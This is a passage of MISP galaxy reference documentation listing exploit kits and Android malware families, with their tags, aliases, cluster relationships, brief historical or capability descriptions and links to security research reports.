The tag is: *misp-galaxy:exploit-kit="ThreadKit"*

Table 549. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/unraveling-ThreadKit-new-document-exploit-builder-distribute-The-Trick-Formbook-Loki-Bot-malware

VenomKit

VenomKit is the name given to a kit sold since april 2017 as "Word 1day exploit builder" by user badbullzvenom. Author allows only use in targeted campaign. Is used for instance by the "Cobalt Gang"

The tag is: *misp-galaxy:exploit-kit="VenomKit"*

VenomKit is also known as:

- Venom

Table 550. Table References

Links
https://medium.com/@quoscient/golden-chickens-uncovering-a-malware-as-a-service-maas-provider-and-two-new-threat-actors-using-61cf0cb87648

RIG

RIG is an exploit kit that takes its source in Infinity EK itself an evolution of Redkit. It became dominant after the fall of Angler, Nuclear Pack and the end of public access to Neutrino. RIG-v is the name given to RIG 4 when it was only accessible by "vip" customers and when RIG 3 was still in use.

The tag is: *misp-galaxy:exploit-kit="RIG"*

RIG is also known as:

- RIG 3
- RIG-v
- RIG 4
- Meadgive

Table 551. Table References

Links
http://www.kahusecurity.com/2014/rig-exploit-pack/
https://www.trustwave.com/Resources/SpiderLabs-Blog/RIG-Reloaded---Examining-the-Architecture-of-RIG-Exploit-Kit-3-0/
https://www.trustwave.com/Resources/SpiderLabs-Blog/RIG-Exploit-Kit-%E2%80%93-Diving-Deeper-into-the-Infrastructure/
http://malware.dontneedcoffee.com/2016/10/rig-evolves-neutrino-waves-goodbye.html

Sednit EK

Sednit EK is the exploit kit used by APT28

The tag is: *misp-galaxy:exploit-kit="Sednit EK"*

Sednit EK is also known as:

- SedKit

Table 552. Table References

Links
http://www.welivesecurity.com/2014/10/08/sednit-espionage-group-now-using-custom-exploit-kit/
http://blog.trendmicro.com/trendlabs-security-intelligence/new-adobe-flash-zero-day-used-in-pawn-storm-campaign/

Sundown-P

Sundown-P/Sundown-Pirate is a rip of Sundown seen used in a private way (One group using it only) - First spotted at the end of June 2017, branded as CaptainBlack in August 2017

The tag is: *misp-galaxy:exploit-kit="Sundown-P"*

Sundown-P is also known as:

- Sundown-Pirate
- CaptainBlack

Table 553. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/promediads-malvertising-sundown-pirate-exploit-kit/

Bizarro Sundown

Bizarro Sundown appears to be a fork of Sundown with added anti-analysis features

The tag is: *misp-galaxy:exploit-kit="Bizarro Sundown"*

Bizarro Sundown is also known as:

- Sundown-b

Table 554. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/new-bizarro-sundown-exploit-kit-spreads-locky/
https://blog.malwarebytes.com/cybercrime/exploits/2016/10/yet-another-sundown-ek-variant/

Hunter

Hunter EK is an evolution of 3Ros EK

The tag is: *misp-galaxy:exploit-kit="Hunter"*

Hunter is also known as:

- 3ROS Exploit Kit

Hunter has relationships with:

- similar: misp-galaxy:tool="Tinba" with estimative-language:likelihood-probability="likely"

Table 555. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/Hunter-Exploit-Kit-Targets-Brazilian-Banking-Customers

GreenFlash Sundown

GreenFlash Sundown is a variation of Bizarro Sundown without landing

The tag is: *misp-galaxy:exploit-kit="GreenFlash Sundown"*

GreenFlash Sundown is also known as:

- Sundown-GF

Table 556. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/new-bizarro-sundown-exploit-kit-spreads-locky/

Angler

The Angler Exploit Kit has been the most popular and evolved exploit kit from 2014 to middle of 2016. There was several variation. The historical "indexm" variant was used to spread Lurk. A vip version used notabily to spread Poweliks, the "standard" commercial version, and a declinaison tied to load selling (mostly bankers) that can be associated to EmpirePPC

The tag is: *misp-galaxy:exploit-kit="Angler"*

Angler is also known as:

- XXX
- AEK
- Axpergle

Table 557. Table References

Links
https://blogs.sophos.com/2015/07/21/a-closer-look-at-the-angler-exploit-kit/
http://malware.dontneedcoffee.com/2015/12/xxx-is-angler-ek.html
http://malware.dontneedcoffee.com/2016/06/is-it-end-of-angler.html

Archie

Archie EK

The tag is: *misp-galaxy:exploit-kit="Archie"*

Table 558. Table References

Links
https://www.alienvault.com/blogs/labs-research/archie-just-another-exploit-kit

BlackHole

The BlackHole Exploit Kit has been the most popular exploit kit from 2011 to 2013. Its activity stopped with Paunch’s arrest (all activity since then is anecdotal and based on an old leak)

The tag is: *misp-galaxy:exploit-kit="BlackHole"*

BlackHole is also known as:

- BHEK

BlackHole has relationships with:

- similar: misp-galaxy:rat="BlackHole" with estimative-language:likelihood-probability="likely"

Table 559. Table References

Links
https://www.trustwave.com/Resources/SpiderLabs-Blog/Blackhole-Exploit-Kit-v2/
https://nakedsecurity.sophos.com/exploring-the-blackhole-exploit-kit/

Bleeding Life

Bleeding Life is an exploit kit that became open source with its version 2

The tag is: *misp-galaxy:exploit-kit="Bleeding Life"*

Bleeding Life is also known as:

- BL
- BL2

Table 560. Table References

Links
http://www.kahusecurity.com/2011/flash-used-in-idol-malvertisement/
http://thehackernews.com/2011/10/bleeding-life-2-exploit-pack-released.html

Cool

The Cool Exploit Kit was a kind of BlackHole VIP in 2012/2013

The tag is: *misp-galaxy:exploit-kit="Cool"*

Cool is also known as:

- CEK
- Styxy Cool

Table 561. Table References

Links
http://malware.dontneedcoffee.com/2012/10/newcoolek.html

http://malware.dontneedcoffee.com/2013/07/a-styxy-cool-ek.html
http://blog.trendmicro.com/trendlabs-security-intelligence/styx-exploit-pack-how-it-works/

Fiesta

Fiesta Exploit Kit

The tag is: *misp-galaxy:exploit-kit="Fiesta"*

Fiesta is also known as:

- NeoSploit
- Fiexp

Table 562. Table References

Links
http://blog.0x3a.com/post/110052845124/an-in-depth-analysis-of-the-fiesta-exploit-kit-an
http://www.kahusecurity.com/2011/neosploit-is-back/

Empire

The Empire Pack is a variation of RIG operated by a load seller. It's being fed by many traffic actors

The tag is: *misp-galaxy:exploit-kit="Empire"*

Empire is also known as:

- RIG-E

Empire has relationships with:

- similar: misp-galaxy:tool="Empire" with estimative-language:likelihood-probability="likely"

Table 563. Table References

Links
http://malware.dontneedcoffee.com/2016/10/rig-evolves-neutrino-waves-goodbye.html

FlashPack

FlashPack EK got multiple fork. The most common variant seen was the standalone Flash version

The tag is: *misp-galaxy:exploit-kit="FlashPack"*

FlashPack is also known as:

- FlashEK
- SafePack

- CritXPack
- Vintage Pack

Table 564. Table References

Links
http://malware.dontneedcoffee.com/2012/11/meet-critxpack-previously-vintage-pack.html
http://malware.dontneedcoffee.com/2013/04/meet-safe-pack-v20-again.html

Glazunov

Glazunov is an exploit kit mainly seen behind compromised website in 2012 and 2013. Glazunov compromission is likely the ancestor activity of what became EITest in July 2014. Sibhost and Flimkit later shown similarities with this Exploit Kit

The tag is: *misp-galaxy:exploit-kit="Glazunov"*

Table 565. Table References

Links
https://nakedsecurity.sophos.com/2013/06/24/taking-a-closer-look-at-the-glazunov-exploit-kit/

GrandSoft

GrandSoft Exploit Kit was a quite common exploit kit used in 2012/2013. Disappeared between march 2014 and September 2017

The tag is: *misp-galaxy:exploit-kit="GrandSoft"*

GrandSoft is also known as:

- StampEK
- SofosFO

Table 566. Table References

Links
http://malware.dontneedcoffee.com/2013/09/FinallyGrandSoft.html
http://malware.dontneedcoffee.com/2012/10/neosploit-now-showing-bh-ek-20-like.html
https://nakedsecurity.sophos.com/2012/08/24/sophos-sucks-malware/

HanJuan

Hanjuan EK was a one actor fed variation of Angler EK used in evolved malvertising chain targeting USA. It has been using a 0day (CVE-2015-0313) from beginning of December 2014 till beginning of February 2015

The tag is: *misp-galaxy:exploit-kit="HanJuan"*

Table 567. Table References

Links
http://www.malwaresigs.com/2013/10/14/unknown-ek/
https://blog.malwarebytes.com/threat-analysis/2014/08/shining-some-light-on-the-unknown-exploit-kit/
http://blog.trendmicro.com/trendlabs-security-intelligence/a-closer-look-at-the-exploit-kit-in-cve-2015-0313-attack
https://twitter.com/kafeine/status/562575744501428226

Himan

Himan Exploit Kit

The tag is: *misp-galaxy:exploit-kit="Himan"*

Himan is also known as:

- High Load

Table 568. Table References

Links
http://malware.dontneedcoffee.com/2013/10/HiMan.html

Impact

Impact EK

The tag is: *misp-galaxy:exploit-kit="Impact"*

Table 569. Table References

Links
http://malware.dontneedcoffee.com/2012/12/inside-impact-exploit-kit-back-on-track.html

Infinity

Infinity is an evolution of Redkit

The tag is: *misp-galaxy:exploit-kit="Infinity"*

Infinity is also known as:

- Redkit v2.0
- Goon

Table 570. Table References

Links
http://blog.talosintel.com/2013/11/im-calling-this-goon-exploit-kit-for-now.html
http://www.kahusecurity.com/2014/the-resurrection-of-redkit/

Lightsout

Lightsout Exploit Kit has been used in Watering Hole attack performed by the APT Group havex

The tag is: *misp-galaxy:exploit-kit="Lightsout"*

Table 571. Table References

Links
http://blog.talosintel.com/2014/03/hello-new-exploit-kit.html
http://blog.talosintel.com/2014/05/continued-analysis-of-lightsout-exploit.html
http://malwageddon.blogspot.fr/2013/09/unknown-ek-by-way-how-much-is-fish.html

Nebula

Nebula Exploit Kit has been built on Sundown source and features an internal TDS

The tag is: *misp-galaxy:exploit-kit="Nebula"*

Table 572. Table References

Links
http://malware.dontneedcoffee.com/2017/03/nebula-exploit-kit.html

Neutrino

Neutrino Exploit Kit has been one of the major exploit kit from its launch in 2013 till september 2016 when it become private (defense name for this variation is Neutrino-v). This EK vanished from march 2014 till november 2014.

The tag is: *misp-galaxy:exploit-kit="Neutrino"*

Neutrino is also known as:

- Job314
- Neutrino Rebooted
- Neutrino-v

Neutrino has relationships with:

- similar: misp-galaxy:malpedia="Neutrino" with estimative-language:likelihood-probability="likely"

Table 573. Table References

Links
http://malware.dontneedcoffee.com/2013/03/hello-neutrino-just-one-more-exploit-kit.html
http://malware.dontneedcoffee.com/2014/11/neutrino-come-back.html

Niteris

Niteris was used mainly to target Russian.

The tag is: *misp-galaxy:exploit-kit="Niteris"*

Niteris is also known as:

- CottonCastle

Table 574. Table References

Links
http://malware.dontneedcoffee.com/2014/06/cottoncastle.html
http://malware.dontneedcoffee.com/2015/05/another-look-at-niteris-post.html

Nuclear

The Nuclear Pack appeared in 2009 and has been one of the longer living one. Spartan EK was a landing less variation of Nuclear Pack

The tag is: *misp-galaxy:exploit-kit="Nuclear"*

Nuclear is also known as:

- NEK
- Nuclear Pack
- Spartan
- Neclu

Table 575. Table References

Links
http://blog.checkpoint.com/2016/05/17/inside-nuclears-core-unraveling-a-ransomware-as-a-service-infrastructure/

Phoenix

Phoenix Exploit Kit

The tag is: *misp-galaxy:exploit-kit="Phoenix"*

Phoenix is also known as:

- PEK

Table 576. Table References

Links
http://malwareint.blogspot.fr/2010/09/phoenix-exploits-kit-v21-inside.html
http://blog.trendmicro.com/trendlabs-security-intelligence/now-exploiting-phoenix-exploit-kit-version-2-5/

Private Exploit Pack

Private Exploit Pack

The tag is: *misp-galaxy:exploit-kit="Private Exploit Pack"*

Private Exploit Pack is also known as:

- PEP

Table 577. Table References

Links
http://malware.dontneedcoffee.com/2013/07/pep-new-bep.html
http://malwageddon.blogspot.fr/2013/07/unknown-ek-well-hey-hey-i-wanna-be.html

Redkit

Redkit has been a major exploit kit in 2012. One of its specific features was to allow its access against a share of a percentage of the customer’s traffic

The tag is: *misp-galaxy:exploit-kit="Redkit"*

Table 578. Table References

Links
https://www.trustwave.com/Resources/SpiderLabs-Blog/A-Wild-Exploit-Kit-Appears----Meet-RedKit/
http://malware.dontneedcoffee.com/2012/05/inside-redkit.html
https://nakedsecurity.sophos.com/2013/05/09/redkit-exploit-kit-part-2/

Sakura

Sakura Exploit Kit appeared in 2012 and was adopted by several big actor

The tag is: *misp-galaxy:exploit-kit="Sakura"*

Table 579. Table References

Links
http://www.xylibox.com/2012/01/sakura-exploit-pack-10.html

SPL

SPL exploit kit was mainly seen in 2012/2013 most often associated with ZeroAccess and Scareware/FakeAV

The tag is: *misp-galaxy:exploit-kit="SPL"*

SPL is also known as:

- SPL_Data
- SPLNet
- SPL2

Table 580. Table References

Links
http://www.malwaresigs.com/2012/12/05/spl-exploit-kit/

Sundown

Sundown Exploit Kit is mainly built out of stolen code from other exploit kits

The tag is: *misp-galaxy:exploit-kit="Sundown"*

Sundown is also known as:

- Beps
- Xer
- Beta

Table 581. Table References

Links
http://malware.dontneedcoffee.com/2015/06/fast-look-at-sundown-ek.html
https://www.virusbulletin.com/virusbulletin/2015/06/beta-exploit-pack-one-more-piece-crimeware-infection-road

Sweet-Orange

Sweet Orange

The tag is: *misp-galaxy:exploit-kit="Sweet-Orange"*

Sweet-Orange is also known as:

- SWO
- Anogre

Table 582. Table References

Links
http://malware.dontneedcoffee.com/2012/12/juice-sweet-orange-2012-12.html

Styx

Styx Exploit Kit

The tag is: *misp-galaxy:exploit-kit="Styx"*

Table 583. Table References

Links
http://malware.dontneedcoffee.com/2012/12/crossing-styx-styx-sploit-pack-20-cve.html
https://krebsonsecurity.com/2013/07/styx-exploit-pack-domo-arigato-pc-roboto/
http://malware.dontneedcoffee.com/2013/05/inside-styx-2013-05.html

WhiteHole

WhiteHole Exploit Kit appeared in January 2013 in the tail of the CVE-2013-0422

The tag is: *misp-galaxy:exploit-kit="WhiteHole"*

Table 584. Table References

Links
http://malware.dontneedcoffee.com/2013/02/briefly-wave-whitehole-exploit-kit-hello.html

Unknown

Unknown Exploit Kit. This is a place holder for any undocumented Exploit Kit. If you use this tag, we will be more than happy to give the associated EK a deep look.

The tag is: *misp-galaxy:exploit-kit="Unknown"*

Table 585. Table References

Links
https://twitter.com/kafeine
https://twitter.com/node5
https://twitter.com/kahusecurity

Malpedia

Malware galaxy cluster based on Malpedia..

ℹ Malpedia is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Daniel Plohmann - Steffen Enders - Andrea Garavaglia - Davide Arcuri

AdultSwine

The tag is: *misp-galaxy:malpedia="AdultSwine"*

AdultSwine is also known as:

Table 586. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.adultswine
https://research.checkpoint.com/malware-displaying-porn-ads-discovered-in-game-apps-on-google-play/

AndroRAT

Androrat is a remote administration tool developed in Java Android for the client side and in Java/Swing for the Server. The name Androrat is a mix of Android and RAT (Remote Access Tool). It has been developed in a team of 4 for a university project. The goal of the application is to give the control of the android system remotely and retrieve informations from it.

The tag is: *misp-galaxy:malpedia="AndroRAT"*

AndroRAT is also known as:

AndroRAT has relationships with:

- similar: misp-galaxy:mitre-mobile-attack-malware="AndroRAT - MOB-S0008" with estimative-language:likelihood-probability="likely"

Table 587. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.androrat
https://hotforsecurity.bitdefender.com/blog/possibly-italy-born-android-rat-reported-in-china-find-bitdefender-researchers-16264.html
https://github.com/DesignativeDave/androrat

AnubisSpy

The tag is: *misp-galaxy:malpedia="AnubisSpy"*

AnubisSpy is also known as:

Table 588. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.anubisspy
http://blog.trendmicro.com/trendlabs-security-intelligence/cyberespionage-campaign-sphinx-goes-mobile-anubisspy/
https://documents.trendmicro.com/assets/tech-brief-cyberespionage-campaign-sphinx-goes-mobile-with-anubisspy.pdf

Bahamut

The tag is: *misp-galaxy:malpedia="Bahamut"*

Bahamut is also known as:

Table 589. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.bahamut
https://www.bellingcat.com/news/mena/2017/06/12/bahamut-pursuing-cyber-espionage-actor-middle-east/
https://www.bellingcat.com/resources/case-studies/2017/10/27/bahamut-revisited-cyber-espionage-middle-east-south-asia/

BankBot

The tag is: *misp-galaxy:malpedia="BankBot"*

BankBot is also known as:

BankBot has relationships with:

- similar: misp-galaxy:android="BankBot" with estimative-language:likelihood-probability="likely"

Table 590. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.bankbot
http://blog.koodous.com/2017/04/decrypting-bankbot-communications.html
http://b0n1.blogspot.de/2017/05/tracking-android-bankbot.html
http://blog.koodous.com/2017/05/bankbot-on-google-play.html

https://securityintelligence.com/after-big-takedown-efforts-20-more-bankbot-mobile-malware-apps-make-it-into-google-play/
https://www.welivesecurity.com/2017/11/21/new-campaigns-spread-banking-malware-google-play/

Catelites

Catelites Bot (identified by Avast and SfyLabs in December 2017) is an Android trojan, with ties to CronBot. Once the malicious app is installed, attackers use social engineering tricks and window overlays to get credit card details from the victim. The distribution vector seems to be fake apps from third-party app stores (not Google Play) or via malvertisement. After installation and activation, the app creates fake Gmail, Google Play and Chrome icons. Furthermore, the malware sends a fake system notification, telling the victim that they need to re-authenticate with Google Services and ask for their credit card details to be entered. Currently the malware has overlays for over 2,200 apps of banks and financial institutions.

The tag is: *misp-galaxy:malpedia="Catelites"*

Catelites is also known as:

Table 591. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.catelites
https://blog.avast.com/new-of-mobile-malware-catelites-possibly-linked-to-cron-cyber-gang
https://www.youtube.com/watch?v=1LOy0ZyjEOk

Charger

The tag is: *misp-galaxy:malpedia="Charger"*

Charger is also known as:

Charger has relationships with:

- similar: misp-galaxy:mitre-mobile-attack-malware="Charger - MOB-S0039" with estimative-language:likelihood-probability="likely"

Table 592. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.charger
http://blog.checkpoint.com/2017/01/24/charger-malware/
http://blog.joesecurity.org/2017/01/deep-analysis-of-android-ransom-charger.html

Chrysaor

The tag is: *misp-galaxy:malpedia="Chrysaor"*

Chrysaor is also known as:

- Pegasus
- JigglyPuff

Chrysaor has relationships with:

- similar: misp-galaxy:mitre-mobile-attack-malware="Pegasus - MOB-S0005" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Chrysaor" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-mobile-attack-malware="Pegasus for Android - MOB-S0032" with estimative-language:likelihood-probability="likely"

Table 593. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.chrysaor
https://android-developers.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html
https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-android-technical-analysis.pdf
https://security.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html
https://media.ccc.de/v/33c3-7901-pegasus_internals
https://citizenlab.ca/2018/09/hide-and-seek-tracking-nso-groups-pegasus-spyware-to-operations-in-45-countries/

Clientor

The tag is: *misp-galaxy:malpedia="Clientor"*

Clientor is also known as:

Table 594. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.clientor
https://twitter.com/LukasStefanko/status/1042297855602503681

Connic

The tag is: *misp-galaxy:malpedia="Connic"*

Connic is also known as:

- SpyBanker

Connic has relationships with:

- similar: misp-galaxy:malpedia="SpyBanker" with estimative-language:likelihood-

probability="likely"

Table 595. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.connic
https://www.welivesecurity.com/2017/12/11/banking-malware-targets-polish-banks/

Cpuminer

The tag is: *misp-galaxy:malpedia="Cpuminer"*

Cpuminer is also known as:

Table 596. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.cpuminer
https://blog.trendmicro.com/trendlabs-security-intelligence/coin-miner-mobile-malware-returns-hits-google-play/

DoubleLocker

The tag is: *misp-galaxy:malpedia="DoubleLocker"*

DoubleLocker is also known as:

DoubleLocker has relationships with:

- similar: misp-galaxy:android="DoubleLocker" with estimative-language:likelihood-probability="likely"

Table 597. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.doublelocker
https://www.welivesecurity.com/2017/10/13/doublelocker-innovative-android-malware/

DualToy

The tag is: *misp-galaxy:malpedia="DualToy"*

DualToy is also known as:

DualToy has relationships with:

- similar: misp-galaxy:mitre-mobile-attack-malware="DualToy - MOB-S0031" with estimative-language:likelihood-probability="likely"

Table 598. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.dualtoy
http://researchcenter.paloaltonetworks.com/2016/09/dualtoy-new-windows-trojan-sideloads-risky-apps-to-android-and-ios-devices/

Dvmap

The tag is: *misp-galaxy:malpedia="Dvmap"*

Dvmap is also known as:

Table 599. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.dvmap
https://securelist.com/dvmap-the-first-android-malware-with-code-injection/78648/

ExoBot

The tag is: *misp-galaxy:malpedia="ExoBot"*

ExoBot is also known as:

ExoBot has relationships with:

- similar: misp-galaxy:malpedia="Marcher" with estimative-language:likelihood-probability="likely"

Table 600. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.exobot
https://securityintelligence.com/ibm-x-force-delves-into-exobots-leaked-source-code/

FlexiSpy

The tag is: *misp-galaxy:malpedia="FlexiSpy"*

FlexiSpy is also known as:

Table 601. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.flexispy
https://www.randhome.io/blog/2017/04/23/lets-talk-about-flexispy/

FlexNet

The tag is: *misp-galaxy:malpedia="FlexNet"*

FlexNet is also known as:

- gugi

Table 602. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.flexnet
https://twitter.com/LukasStefanko/status/886849558143279104

GhostCtrl

The tag is: *misp-galaxy:malpedia="GhostCtrl"*

GhostCtrl is also known as:

GhostCtrl has relationships with:

- similar: misp-galaxy:android="Andr/Dropr-FH" with estimative-language:likelihood-probability="likely"

Table 603. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.ghostctrl
https://blog.trendmicro.com/trendlabs-security-intelligence/android-backdoor-ghostctrl-can-silently-record-your-audio-video-and-more/

GlanceLove

The tag is: *misp-galaxy:malpedia="GlanceLove"*

GlanceLove is also known as:

Table 604. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.glancelove
https://www.clearskysec.com/glancelove/
https://www.haaretz.com/israel-news/hamas-cyber-ops-spied-on-israeli-soldiers-using-fake-world-cup-app-1.6241773
https://www.idf.il/en/minisites/hamas/hamas-uses-fake-facebook-profiles-to-target-israeli-soldiers/
https://securelist.com/breaking-the-weakest-link-of-the-strongest-chain/77562/
https://www.ci-project.org/blog/2017/3/4/arid-viper

HeroRAT

The tag is: *misp-galaxy:malpedia="HeroRAT"*

HeroRAT is also known as:

Table 605. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.hero_rat
https://www.welivesecurity.com/2018/06/18/new-telegram-abusing-android-rat/

IRRat

The tag is: *misp-galaxy:malpedia="IRRat"*

IRRat is also known as:

Table 606. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.irrat
https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/

JadeRAT

The tag is: *misp-galaxy:malpedia="JadeRAT"*

JadeRAT is also known as:

JadeRAT has relationships with:

- similar: misp-galaxy:rat="JadeRAT" with estimative-language:likelihood-probability="likely"

Table 607. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.jaderat
https://blog.lookout.com/mobile-threat-jaderat

KevDroid

The tag is: *misp-galaxy:malpedia="KevDroid"*

KevDroid is also known as:

Table 608. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.kevdroid
https://blog.talosintelligence.com/2018/04/fake-av-investigation-unearths-kevdroid.html
https://researchcenter.paloaltonetworks.com/2018/04/unit42-reaper-groups-updated-mobile-arsenal/

Koler

The tag is: *misp-galaxy:malpedia="Koler"*

Koler is also known as:

Table 609. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.koler
https://twitter.com/LukasStefanko/status/928262059875213312

Lazarus

The tag is: *misp-galaxy:malpedia="Lazarus"*

Lazarus is also known as:

Table 610. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.lazarus
https://securingtomorrow.mcafee.com/mcafee-labs/android-malware-appears-linked-to-lazarus-cybercrime-group/

Lazarus ELF Backdoor

The tag is: *misp-galaxy:malpedia="Lazarus ELF Backdoor"*

Lazarus ELF Backdoor is also known as:

Table 611. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.lazarus_elf
https://securingtomorrow.mcafee.com/mcafee-labs/android-malware-appears-linked-to-lazarus-cybercrime-group/#sf174581990

Loki

The tag is: *misp-galaxy:malpedia="Loki"*

Loki is also known as:

Loki has relationships with:

- similar: misp-galaxy:malpedia="Loki Password Stealer (PWS)" with estimative-language:likelihood-probability="likely"

Table 612. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.loki
http://blog.checkpoint.com/2017/03/10/preinstalled-malware-targeting-mobile-users/

LokiBot

Android banker Trojan with the standard banking capabilities such as overlays, SMS stealing. It also features ransomware functionality. Note, the network traffic is obfuscated the same way as in Android Bankbot.

The tag is: *misp-galaxy:malpedia="LokiBot"*

LokiBot is also known as:

LokiBot has relationships with:

- similar: misp-galaxy:malpedia="Loki Password Stealer (PWS)" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="LokiBot" with estimative-language:likelihood-probability="likely"

Table 613. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.lokibot
https://www.threatfabric.com/blogs/lokibot_the_first_hybrid_android_malware.html

Marcher

The tag is: *misp-galaxy:malpedia="Marcher"*

Marcher is also known as:

- ExoBot

Marcher has relationships with:

- similar: misp-galaxy:malpedia="ExoBot" with estimative-language:likelihood-probability="likely"

Table 614. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.marcher
https://www.zscaler.de/blogs/research/android-marcher-continuously-evolving-mobile-malware
https://www.clientsidedetection.com/marcher.html
https://www.clientsidedetection.com/exobot_v2_update _staying_ahead_of_the_competition.html[https://www.clientsidedetection.com/ exobot_v2_update_staying_ahead_of_the_competition.html]

MazarBot

The tag is: *misp-galaxy:malpedia="MazarBot"*

MazarBot is also known as:

Table 615. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.mazarbot
https://heimdalsecurity.com/blog/security-alert-mazar-bot-active-attacks-android-malware/
https://b0n1.blogspot.de/2017/08/phishing-attack-at-raiffeisen-bank-by.html

MysteryBot

MysteryBot is an Android banking Trojan with overlay capabilities with support for Android 7/8 but also provides other features such as key logging and ransomware functionality.

The tag is: *misp-galaxy:malpedia="MysteryBot"*

MysteryBot is also known as:

MysteryBot has relationships with:

- similar: misp-galaxy:android="MysteryBot" with estimative-language:likelihood-probability="likely"

Table 616. Table References

Links
https://www.threatfabric.com/blogs/ mysterybota_new_android_banking_trojan_ready_for_android_7_and_8.html[https://www.threatfabric.com/blogs/mysterybota_new_android_banking_trojan_ready_for_android_7_and_8.html]

OmniRAT

The tag is: *misp-galaxy:malpedia="OmniRAT"*

OmniRAT is also known as:

OmniRAT has relationships with:

- similar: misp-galaxy:rat="OmniRAT" with estimative-language:likelihood-probability="likely"

Table 617. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.omnirat
https://securityintelligence.com/news/omnirat-takes-over-android-devices-through-social-engineering-tricks/
https://blog.avast.com/2015/11/05/droidjack-isnt-the-only-spying-software-out-there-avast-discovers-that-omnirat-is-currently-being-used-and-spread-by-criminals-to-gain-full-remote-co

X-Agent

The tag is: *misp-galaxy:malpedia="X-Agent"*

X-Agent is also known as:

- Popr-d30

X-Agent has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="CHOPSTICK - S0023" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-mobile-attack-malware="X-Agent - MOB-S0030" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="CHOPSTICK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="X-Agent" with estimative-language:likelihood-probability="likely"

Table 618. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.popr-d30
http://blog.crysys.hu/2017/01/technical-details-on-the-fancy-bear-android-malware-poprd30-apk/
http://blog.crysys.hu/2017/03/update-on-the-fancy-bear-android-malware-poprd30-apk/

Fake Pornhub

The tag is: *misp-galaxy:malpedia="Fake Pornhub"*

Fake Pornhub is also known as:

Table 619. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/apk.pornhub

Raxir

The tag is: *misp-galaxy:malpedia="Raxir"*

Raxir is also known as:

Table 620. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.raxir
https://twitter.com/PhysicalDrive0/statuses/798825019316916224

RedAlert2

RedAlert 2 is an new Android malware used by an attacker to gain access to login credentials of various e-banking apps. The malware works by overlaying a login screen with a fake display that sends the credentials to a C2 server. The malware also has the ability to block incoming calls from banks, to prevent the victim of being notified. As a distribution vector RedAlert 2 uses third-party app stores and imitates real Android apps like Viber, Whatsapp or fake Adobe Flash Player updates.

The tag is: *misp-galaxy:malpedia="RedAlert2"*

RedAlert2 is also known as:

RedAlert2 has relationships with:

- similar: misp-galaxy:android="RedAlert2" with estimative-language:likelihood-probability="likely"

Table 621. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.redalert2
https://clientsidedetection.com/new_android_trojan_targeting_over_60_banks_and_social_apps.html
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/red-alert-2-0-android-trojan-spreads-via-third-party-app-stores

Retefe

The Android app using for Retefe is a SMS stealer, used to forward mTAN codes to the threat actor. Further is a bank logo added to the specific Android app to trick users into thinking this is a legitimate app. Moreover, if the victim is not a real victim, the link to download the APK is not the malicious APK, but the real 'Signal Private Messenger' tool, hence the victim’s phone doesn’t get infected.

The tag is: *misp-galaxy:malpedia="Retefe"*

Retefe is also known as:

Retefe has relationships with:

- similar: misp-galaxy:malpedia="Dok" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="Retefe" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="Dok" with estimative-language:likelihood-probability="likely"

Table 622. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.retefe
